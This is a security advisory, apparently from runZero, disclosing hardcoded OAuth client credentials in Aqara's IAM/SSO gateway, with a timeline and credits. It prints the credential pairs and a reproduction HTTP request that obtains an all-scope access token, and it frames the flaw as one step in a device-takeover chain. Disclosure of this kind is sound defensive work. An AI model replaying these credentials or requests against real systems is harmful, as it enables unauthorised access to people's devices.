Aqara hardcoded OAuth client credentials

Vendors Aqara
Products
Aquara IAM/SSO Gateway
  • Aquara IAM/SSO Gateway
Related

Executive summary #

The Aqara IAM/SSO Gateway (gw-builder.aqara.com) used a hardcoded OAuth client credential, which is an instance of "CWE-798: Use of Hard-coded Credentials." This issue has an estimated CVSS of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1 Critical). When combined with CVE-2026-50082, CVE-50084, and CVE-50085, this can lead to a fully unauthenticated, remote takeover of affected devices.

Technical details #

Two OAuth client credentials are hardcoded in the platform and accepted by gw-builder.aqara.com. Both issue tokens with scope=all:

client_idclient_secretexpires_inactive until
test11234561799999999 secSeptember 2083
test123456172799 sec48 hours

A third client (app) exists; its grant_type is unknown. Tokens survive password changes; no rate limiting on issuance.

Repro:

POST /iam/oauthToken/openapi/client/token HTTP/1.1
Host: gw-builder.aqara.com
Content-Type: application/x-www-form-urlencoded

client_id=test1&client_secret=123456&grant_type=client_credentials

→ {"access_token":"<uuid>","expires_in":1799999999,"scope":"all"}

Verify scope via POST /iam/oauth/check_token → {"scope":["all"], "active":true, "exp":3573430446}.


Further technical details for this issue can be found at https://github.com/xn0tsa/theres-no-place-like-home

Attacker value #

This issue is step 2 of an attack chain, as it provides the bearer needed for any privileged call against the IAM gateway. Combined with CVE-2026-50084, this becomes platform-wide read/write vulnerability.

Credit #

These issues were discovered, documented, and disclosed by Sammy Azdoufal. CVE coordination was performed by Tod Beardsley of runZero, Inc.

Timeline #

2026-03-13: Set of issues discovered by the researcher and outreach to the vendor initiated

2026-03-30: Second outreach by the researcher

2026-04-08: Various findings and vulnerabilities remediated by the vendor

2026-04-20: Acknowledged the researcher's reporting

2026-04-20: The vendor stated this issue has been fixed

2026-06-12: This public disclosure (90 days from first contact)

For more details on specific findings and fixes, please see the researcher's website at https://github.com/xn0tsa/theres-no-place-like-home.

Subscribe Now

Get the latest news and expert insights delivered in your inbox.

Welcome to the club! Your subscription to our newsletter is successful.